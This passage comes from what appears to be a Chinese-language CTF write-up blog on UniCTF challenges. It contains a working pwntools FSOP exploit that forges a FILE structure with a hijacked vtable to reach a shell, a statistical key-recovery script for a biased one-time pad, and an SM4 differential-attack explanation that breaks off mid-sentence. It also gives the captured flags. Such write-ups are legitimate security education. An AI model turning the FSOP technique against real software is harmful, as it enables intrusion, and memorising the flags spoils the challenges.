src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"484\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-367-1024x484.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2700\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-368-1024x509.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"509\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-368-1024x509.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2701\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7a0b\u5e8f\u903b\u8f91<\/strong>\uff1a<code>main<\/code> \u51fd\u6570\u901a\u8fc7 <code>read<\/code> \u8bfb\u53d6\u8f93\u5165\u5230\u5168\u5c40\u53d8\u91cf <code>buf<\/code>\uff0c\u968f\u540e\u5c06 <code>buf<\/code> \u5f3a\u8f6c\u4e3a <code>FILE*<\/code> \u6307\u9488\u5e76\u8c03\u7528 <code>fclose<\/code> \u5173\u95ed\u6d41\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6f0f\u6d1e\u70b9<\/strong>\uff1a\u5178\u578b\u7684 FSOP\u3002\u7531\u4e8e <code>FILE<\/code> \u7ed3\u6784\u4f53\u5b8c\u5168\u7531\u6211\u4eec\u63a7\u5236\uff0c\u4e14\u7a0b\u5e8f\u4f7f\u7528\u7684 libc \u7248\u672c\uff082.23\uff09\u8f83\u8001\uff0c\u4e0d\u5b58\u5728 vtable check\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5229\u7528\u601d\u8def<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f2a\u9020\u4e00\u4e2a FILE \u7ed3\u6784\u4f53\u3002\n\u4fee\u6539\u7ed3\u6784\u4f53\u4e2d\u7684 vtable \u6307\u9488\uff0c\u4f7f\u5176\u6307\u5411\u6211\u4eec\u5728 buf \u4e2d\u4f2a\u9020\u7684\u865a\u8868\u3002\n\u5c06\u865a\u8868\u4e2d\u7684\u51fd\u6570\u6307\u9488\u586b\u4e3a getshell \u51fd\u6570\u5730\u5740\u3002\n\u7ed5\u8fc7 _lock \u68c0\u67e5\uff08\u6307\u5411\u53ef\u5199\u7684 NULL \u5185\u5b58\uff09\u3002\n\u5f53 fclose \u89e6\u53d1\u65f6\uff0c\u7a0b\u5e8f\u4f1a\u901a\u8fc7\u865a\u8868\u8df3\u8f6c\u6267\u884c getshell\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exe.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.os = 'linux'\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\n\nbinary_file = '.\/EzIO'\nelf = ELF(binary_file)\n\n# io = process(binary_file)\nio = remote('nc1.ctfplus.cn', 49761)\n\nbuf_addr = elf.symbols&#91;'buf']\ngetshell_addr = elf.symbols&#91;'getshell']\n\nfake_file = FileStructure(null=0x0)\nfake_file.flags = 0xfbad2488\nfake_file._lock = buf_addr + 0x200\nfake_file.vtable = buf_addr + 0xd8\n\npayload = bytes(fake_file)\npayload = payload.ljust(0xd8, b'x00')\npayload += p64(getshell_addr) * 20 \npayload = payload.ljust(0x200, b'x00')\n\nio.send(payload)\nio.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-369-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-369-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2702\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{f973ad8d-fe15-4930-bb45-11d680ce46f6}<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Crypto<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">Subgroup-Weaver<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-370-1024x458.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"458\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-370-1024x458.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2703\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-371-1024x167.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"167\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-371-1024x167.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2704\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from random import randint, randbytes\nfrom Crypto.Util.number import bytes_to_long\nfrom secret import flag\n\nkey = randbytes(64)\n\ndef gen(bits):\n    return sum(randint(1, 7) % 2 * 2**i for i in range(bits))\n\ndef otp():\n    return bytes_to_long(key) ^ gen(len(key) * 8)\n\nwhile input('&gt; ') != key.hex():\n    print(otp())\n\nprint(f'your prize: {flag}')<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u7ed9\u51fa\u4e86\u4e00\u4e2a OTP\u52a0\u5bc6\u670d\u52a1\uff0c\u6838\u5fc3\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Key<\/strong>: 64\u5b57\u8282\u7684\u968f\u673a\u6570\u636e\uff08\u56fa\u5b9a\u4e0d\u53d8\uff09,<strong>Mask<\/strong>: \u7531 <code>gen<\/code> \u51fd\u6570\u751f\u6210\uff0c\u6bcf\u4f4d\u53d6\u503c\u4e3a<br>$$<br>randint(1, 7) % 2<br>$$<br><strong>\u52a0\u5bc6<\/strong>:Output = Key ^ Mask<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6f0f\u6d1e\u539f\u7406<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>randint(1, 7)<\/code> \u751f\u6210 1~7 \u7684\u6574\u6570\uff0c\u6a21 2 \u540e\u7684\u7ed3\u679c\u5206\u5e03\u4e0d\u5747\u5300\uff1a<br>$$<br>\u7ed3\u679c\u4e3a 1 \u7684\u6570\u5b57\uff1a1, 3, 5, 7 (\u51714\u4e2a) -&gt; \u6982\u7387<br>P(1)=4\/7\u224857%P(1)=4\/7\u224857%<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u7ed3\u679c\u4e3a 0 \u7684\u6570\u5b57\uff1a2, 4, 6 (\u51713\u4e2a) -&gt; \u6982\u7387<br>P(0)=3\/7\u224843%P(0)=3\/7\u224843%<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e Mask \u6bcf\u4e00\u4f4d\u4e3a 1 \u7684\u6982\u7387\u5927\u4e8e 0.5\uff0c\u8fd9\u5bfc\u81f4\u52a0\u5bc6\u8f93\u51fa\u4ea7\u751f\u7edf\u8ba1\u504f\u5dee\uff1a<br>$$<br>\u82e5 Key \u7684\u67d0\u4e00\u4f4d\u4e3a 0\uff1aOutput=0\u2295Mask=MaskOutput=0\u2295Mask=Mask\u3002\u6b64\u65f6 Output \u4e3a 1 \u7684\u6982\u7387\u662f 57% (&gt; 50%)\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u82e5 Key \u7684\u67d0\u4e00\u4f4d\u4e3a 1\uff1aOutput=1\u2295Mask=\u223cMaskOutput=1\u2295Mask=\u223cMask\u3002\u6b64\u65f6 Output \u4e3a 1 \u7684\u6982\u7387\u662f 43% (&lt; 50%)\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898\u601d\u8def<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4e0e\u670d\u52a1\u5668\u4ea4\u4e92\uff0c\u8bf7\u6c42\u5927\u91cf OTP \u6837\u672c\uff08\u5982 1200 \u6b21\uff09\u3002\n\u6309\u4f4d\u7edf\u8ba1\uff1a\u5bf9 512 \u4f4d Key \u7684\u6bcf\u4e00\u4f4d\uff0c\u8ba1\u7b97\u6837\u672c\u4e2d\u8be5\u4f4d\u4e3a 1 \u7684\u51fa\u73b0\u9891\u7387\u3002\n\u5224\u51b3\uff1a\u9891\u7387 &gt; 0.5 \u5219 Key \u4f4d\u4e3a 0\uff0c\u5426\u5219\u4e3a 1\u3002\n\u91cd\u7ec4 Key \u5e76\u63d0\u4ea4\uff0c\u83b7\u53d6 Flag\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nfrom tqdm import tqdm \n\ncontext.log_level = 'error' \n\ndef solve():\n    host = 'nc1.ctfplus.cn'\n    port = 26139\n\n    print(f\"&#91;+] \u8fde\u63a5\u5230 {host}:{port}\")\n    try:\n        io = remote(host, port)\n    except:\n        print(\"\u8fde\u63a5\u5931\u8d25\")\n        return\n\n    N = 1200\n    samples = &#91;]\n\n    io.recvuntil(b'&gt; ')\n    print(f\"&#91;*] \u6b63\u5728\u6536\u96c6 {N} \u7ec4 OTP \u6837\u672c (\u8fd9\u53ef\u80fd\u9700\u8981\u4e00\u5206\u949f)...\")\n\n    try:\n        iterator = tqdm(range(N))\n    except ImportError:\n        iterator = range(N)\n\n    for i in iterator:\n        io.sendline(b'1')\n        try:\n            line = io.recvline().strip()\n            if not line: \n                line = io.recvline().strip()\n\n            val = int(line)\n            samples.append(val)\n            io.recvuntil(b'&gt; ')\n        except Exception as e:\n            print(f\"&#91;-] \u63a5\u6536\u6570\u636e\u51fa\u9519: {e}\")\n            break\n\n    print(\"&#91;*] \u6837\u672c\u6536\u96c6\u5b8c\u6bd5\uff0c\u5f00\u59cb\u8ba1\u7b97 Key...\")\n\n    recovered_int = 0\n    total_bits = 64 * 8\n\n    for bit_index in range(total_bits):\n        ones_count = 0\n        for s in samples:\n            if (s &gt;&gt; bit_index) &amp; 1:\n                ones_count += 1\n\n        if ones_count &gt; (N \/ 2):\n            k_bit = 0\n        else:\n            k_bit = 1\n\n        recovered_int |= (k_bit &lt;&lt; bit_index)\n\n    try:\n        key_bytes = recovered_int.to_bytes(64, 'big')\n        key_hex = key_bytes.hex()\n\n        print(f\"&#91;+] \u8ba1\u7b97\u51fa\u7684 Key: {key_hex}\")\n        print(\"&#91;*] \u53d1\u9001 Key...\")\n\n        io.sendline(key_hex.encode())\n        io.interactive()\n\n    except Exception as e:\n        print(f\"&#91;-] \u8f6c\u6362\u6216\u53d1\u9001\u5931\u8d25: {e}\")\n\nif __name__ == '__main__':\n    solve()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-372-1024x318.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"318\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-372-1024x318.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2705\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{unb@l@nc3_0f64aa31b82ab}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Subgroup-Scribe<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-373-1024x445.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-373-1024x445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2706\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from os import urandom\nfrom random import randint\nfrom secret import flag\n\nsbox = &#91;147, 138, 104,  87,   5, 201, 249, 141, 243,  72,  71, 221,  97, 174,  48, 155,\n        114, 225, 117, 105, 224,  70,   7, 108, 190, 146, 145, 130,  46, 209, 229, 226,\n         15, 112, 103,  27,  91, 181, 253, 183, 152, 165, 110,  44, 160,  66, 116,   0,\n         75,  26,  61,  96, 127, 157, 197, 164, 172,  20,  37,  68, 202, 101,   9,   3,\n        109,  31, 208,  98,  11, 144,  79,  25, 239, 231,  43,  36,  10,   2, 170, 251,\n        161, 135, 134, 166, 136, 177, 215,  82, 244, 218,  47, 137, 242,  76, 233, 115,\n        182, 153, 214,  84,  13, 159,  60,  74,  65,  54, 163,  56, 180,  30, 139, 236,\n         67,  64,  80, 119,  40, 206, 148,  93, 217,  81, 126, 162, 185, 186,  77, 234,\n         45, 142, 230, 179,  34, 193, 124, 107, 125, 198,  90,  23,  12, 232, 100,  16,\n        120,  59,   1,   6, 102,  24, 133, 176, 150, 187,  28,  51, 195,  85, 196, 219,\n        167, 227,  38,  55, 248, 241, 204, 235, 192, 194,  52, 252, 247,   4, 212,  58,\n         78, 245, 240,  21,  14,  29, 169,   8, 121,  86, 118, 184, 143, 129,  69, 205,\n        132, 213, 246, 238,  73,  53, 122,  62,  35, 210, 250, 149,  17, 203, 111,  18,\n        158,  33, 151,  50,  83,  57,  92, 123,  95,  63, 216, 189, 173, 175, 220,  94,\n        106,  41, 222, 154,  89, 156, 171,  32, 200,  88, 254,  99, 140, 228, 188, 207,\n         19, 113, 255,  49, 237, 223, 191, 168,  42, 211,  22, 199, 128,  39, 178, 131]\n\nFK = &#91;0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]\nCK = &#91;0x00070E15, 0x8C939AA1, 0x181F262D, 0xA4ABB2B9, 0xAC019832, 0XD8DFE6ED, 0X2C333A41]\n\ndef rotl(x, n):\n    return ((x &lt;&lt; n) &amp; 0xFFFFFFFF) | (x &gt;&gt; (32 - n))\n\ndef tau(a):\n    return ((sbox&#91;(a &gt;&gt; 24) &amp; 0xFF] &lt;&lt; 24) |\n            (sbox&#91;(a &gt;&gt; 16) &amp; 0xFF] &lt;&lt; 16) |\n            (sbox&#91;(a &gt;&gt; 8) &amp; 0xFF] &lt;&lt; 8) |\n             sbox&#91;a &amp; 0xFF])\n\ndef L(b):\n    return b ^ rotl(b, 2) ^ rotl(b, 10) ^ rotl(b, 18) ^ rotl(b, 24)\n\ndef T(x):\n    return L(tau(x))\n\ndef T_prime(x):\n    b = tau(x)\n    return b ^ rotl(b, 13) ^ rotl(b, 23)\n\ndef gen_key(mk_int):\n    k = &#91;(mk_int &gt;&gt; 96) &amp; 0xFFFFFFFF, (mk_int &gt;&gt; 64) &amp; 0xFFFFFFFF, \n         (mk_int &gt;&gt; 32) &amp; 0xFFFFFFFF, mk_int &amp; 0xFFFFFFFF]\n    k = &#91;k&#91;0] ^ FK&#91;0], k&#91;1] ^ FK&#91;1], k&#91;2] ^ FK&#91;2], k&#91;3] ^ FK&#91;3]]\n    rk = &#91;]\n    for i in range(7):\n        k_next = k&#91;i] ^ T_prime(k&#91;i+1] ^ k&#91;i+2] ^ k&#91;i+3] ^ CK&#91;i])\n        k.append(k_next)\n        rk.append(k_next)\n    return rk\n\ndef encrypt(msg, key):\n    assert len(msg) == len(key) == 16\n\n    msg = int.from_bytes(msg)\n    key = int.from_bytes(key)\n    rk = gen_key(key)\n    x = &#91;(msg &gt;&gt; 96) &amp; 0xFFFFFFFF, (msg &gt;&gt; 64) &amp; 0xFFFFFFFF, \n         (msg &gt;&gt; 32) &amp; 0xFFFFFFFF, msg &amp; 0xFFFFFFFF]\n\n    for i in range(7):\n        x_next = x&#91;0] ^ T(x&#91;1] ^ x&#91;2] ^ x&#91;3] ^ rk&#91;i])\n        x = x&#91;1:] + &#91;x_next]\n\n    y = x&#91;::-1]\n    return int.to_bytes((y&#91;0] &lt;&lt; 96) | (y&#91;1] &lt;&lt; 64) | (y&#91;2] &lt;&lt; 32) | y&#91;3], 16)\n\ndef enc_ecb(msg, key):\n    assert len(msg) % 16 == len(key) % 16 == 0\n    msg = &#91;msg&#91;16 * i : 16 * i + 16] for i in range(len(msg) \/\/ 16)]\n    enc = &#91;]\n    for i in msg:\n        enc += &#91;encrypt(i, key)]\n        key = bytes(&#91;sbox&#91;i] for i in key])\n    return b''.join(enc)\n\nROUNDS = 128\nfor r in range(ROUNDS):\n    print(f\"--- Round {r + 1}\/{ROUNDS} ---\")\n    key = urandom(16)\n    coin = randint(0, 1)\n    msg = bytes.fromhex(input('msg &gt; '))\n    if len({*zip(*&#91;iter(msg)] * 16)}) * 16 != len(msg): print('\ud83e\udd21'); exit()\n    enc = enc_ecb(msg, key)\n    print(f'hint: {&#91;enc.hex(), urandom(len(enc)).hex()]&#91;coin]}')\n    if int(input('give me coin &gt; ')) != coin: print('\ud83e\udd2c'); exit()\nprint(f'\ud83d\ude0a: {flag}')\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-374.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"120\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-374.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2707\"  sizes=\"auto, (max-width: 830px) 100vw, 830px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u8003\u70b9<\/strong>\uff1aSM4 (7\u8f6e) \u5dee\u5206\u5206\u6790\u3001S\u76d2\u7f6e\u6362\u5468\u671f\u3001\u533a\u5206\u5668\u6784\u9020<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898\u601d\u8def<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5bc6\u94a5\u66f4\u65b0\u673a\u5236\u5206\u6790<\/strong>\uff1a\u9898\u76ee\u4e2d\u7684\u5bc6\u94a5\u66f4\u65b0\u65b9\u5f0f\u4e3a<br>$$<br>key = bytes([sbox[i] for i in key])<br>$$<br>\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u57fa\u4e8eS\u76d2\u7684\u5b57\u8282\u4ee3\u6362\u3002\u7531\u4e8eS\u76d2\u662f\u6709\u9650\u57df\u4e0a\u7684\u7f6e\u6362\uff0c\u4e0d\u65ad\u8fed\u4ee3\u5fc5\u7136\u4ea7\u751f\u5faa\u73af\u3002\u901a\u8fc7\u8ba1\u7b97S\u76d2\u6240\u6709\u5faa\u73af\u8282\u7684\u6700\u5c0f\u516c\u500d\u6570\uff08LCM\uff09\uff0c\u5f97\u5230\u5468\u671f <strong>L = 128<\/strong>\u3002\u8fd9\u610f\u5473\u7740\u7b2c0\u5757\u548c\u7b2c128\u5757\u4f7f\u7528\u7684\u662f\u5b8c\u5168\u76f8\u540c\u7684\u5bc6\u94a5\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>7\u8f6eSM4\u5dee\u5206\u7279\u6027<\/strong>\uff1a\u9488\u5bf97\u8f6e\u7684\u7c7bSM4\u7ed3\u6784\uff0c\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u5fc5\u7136\u5b58\u5728\u7684\u5dee\u5206\u8def\u5f84\u3002<br>$$<br>\u8f93\u5165\u5dee\u5206\uff1a\u6784\u9020 P1=(0,0,0,0)P1\u200b=(0,0,0,0) \u548c P2=(\u03b1,\u03b1,\u03b1,0)P2\u200b=(\u03b1,\u03b1,\u03b1,0)\uff0c\u5176\u4e2d \u03b1=1\u03b1=1\u3002<br>$$<br><strong>\u524d3\u8f6e<\/strong>\uff1a\u7531\u4e8eSM4\u7684\u5f02\u6216\u6027\u8d28\uff0c\u524d3\u8f6e\u8f93\u5165\u5230 TT \u51fd\u6570\u7684\u5dee\u5206\u4e3a<br>$$<br>\u03b1\u2295\u03b1\u22950=0\u03b1\u2295\u03b1\u22950=0<br>$$<br>\u6216\u8005\u7c7b\u4f3c\u62b5\u6d88\uff0c\u5bfc\u81f4\u524d\u51e0\u8f6e\u662f\u975e\u7ebf\u6027\u7684 TT \u51fd\u6570\u6ca1\u6709\u6d3b\u6027\uff0c\u5dee\u5206\u7ebf\u6027\u4f20\u64ad\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c4\u8f6e<\/strong>\uff1a\u5dee\u5206\u6c47\u805a\uff0cTT \u51fd\u6570\u7684\u8f93\u5165\u5dee\u5206\u53d8\u4e3a \u03b1\u03b1\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7279\u5f81<\/strong>\uff1a\u7ecf\u8fc7\u63a8\u5bfc\uff0c\u5bc6\u6587\u7684\u6700\u540e\u4e00\u4e2a\u5b57\uff08Word\uff09\u7684\u5dee\u5206\u5b8c\u5168\u7531\u7b2c4\u8f6e TT \u51fd\u6570\u7684\u8f93\u51fa\u5dee\u5206\u51b3\u5b9a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u533a\u5206\u5668<\/strong>\uff1a\u5bf9\u4e8e\u968f\u673a\u6570\u636e\uff0c\u5bc6\u6587\u672b\u5c3e\u5b57\u7684\u5dee\u5206\u662f\u5747\u5300\u5206\u5e03\u76842\u768432\u6b21\u65b9*232\u79cd\u53ef\u80fd\uff1b\u800c\u5bf9\u4e8e\u52a0\u5bc6\u6570\u636e\uff0c\u8be5\u5dee\u5206\u5fc5\u987b\u843d\u5728\u96c6\u5408<br>$$<br>D={L(S(x)\u2295S(x\u2295\u03b1))\u2223x\u2208[0,255]}D={L(S(x)\u2295S(x\u2295\u03b1))\u2223x\u2208[0,255]} \u4e2d\u3002\u8be5\u96c6\u5408\u5927\u5c0f\u4ec5\u4e3a98\u5de6\u53f3\u3002<br>$$<br><strong>\u653b\u51fb\u6d41\u7a0b<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6784\u9020Payload\uff1a\u957f\u5ea6\u4e3a129\u4e2a\u5757\u3002\u7b2c0\u5757\u4e3a\u51680\uff0c\u7b2c128\u5757\u4e3a (1,1,1,0)(1,1,1,0)\uff0c\u4e2d\u95f4\u586b\u5145\u968f\u673a\u5757\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">$$<br>\u53d1\u9001\u5e76\u83b7\u53d6\u5bc6\u6587\uff0c\u63d0\u53d6\u7b2c 0 \u5757\u5bc6\u6587 C0\u200b\uff08C0\uff09\u548c\u7b2c 128 \u5757\u5bc6\u6587 C128\u200b\uff08C128\uff09\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ba1\u7b97\u672b\u5c3e\u5b57\u7684\u5dee\u5206<br>$$<br>\u0394=C0[\u22124:]\u2295C128[\u22124:]\u0394=C0\u200b[\u22124:]\u2295C128\u200b[\u22124:]<br>$$<br>\u82e5 \u0394\u0394 